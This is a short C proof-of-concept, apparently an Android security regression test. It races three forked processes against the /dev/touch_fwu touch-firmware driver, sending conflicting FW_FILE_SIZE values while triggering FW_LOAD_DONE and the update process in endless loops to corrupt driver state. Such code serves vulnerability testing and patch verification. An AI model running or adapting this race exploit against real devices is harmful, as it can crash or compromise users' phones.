C++程序  |  106行  |  2.18 KB

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <asm/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>

struct firmware {
    size_t size;
    const uint8_t *data;
    void **pages;
    void *priv;
};

#define TOUCH_FWU_IOCTL_CODE (0x81)
#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)

void ioctl_modify_size_big(){
    char* dev_name = "/dev/touch_fwu";
    int fd = open(dev_name,O_RDWR);
    if (fd < 0){
	return ;
    }

    int cout = 1;
    while(cout){
	ioctl(fd, FW_FILE_SIZE , 0xffff );
	ioctl(fd, FW_LOAD_DONE , 0);
    }
}

void ioctl_modify_size_small(){
    char* dev_name = "/dev/touch_fwu";
    int fd = open(dev_name,O_RDWR);
    if (fd < 0){
	return ;
    }

    int cout = 1;
    while(cout){
	ioctl(fd, FW_FILE_SIZE , 0xf );
	ioctl(fd, FW_LOAD_DONE , 0);
    }
}

void ioctl_FW_UPDATE_PROCCESS(){
    char* dev_name = "/dev/touch_fwu";
    int fd = open(dev_name,O_RDWR);
    if (fd < 0){
	return ;
    }

    int cout = 1;
    while(cout){
	ioctl(fd, FW_UPDATE_PROCCESS , 0);
    }
}


int main()
{
    pid_t pid = fork();
    if (pid < 0) {
	return -1;
    }

    if (0 == pid) {
	ioctl_modify_size_big();
    }
    else {
	pid_t pid1 = fork();
	if (0 == pid1) {
	    ioctl_modify_size_small();
	}
	else {
	    ioctl_FW_UPDATE_PROCCESS();
	}
    }

    return 0;
}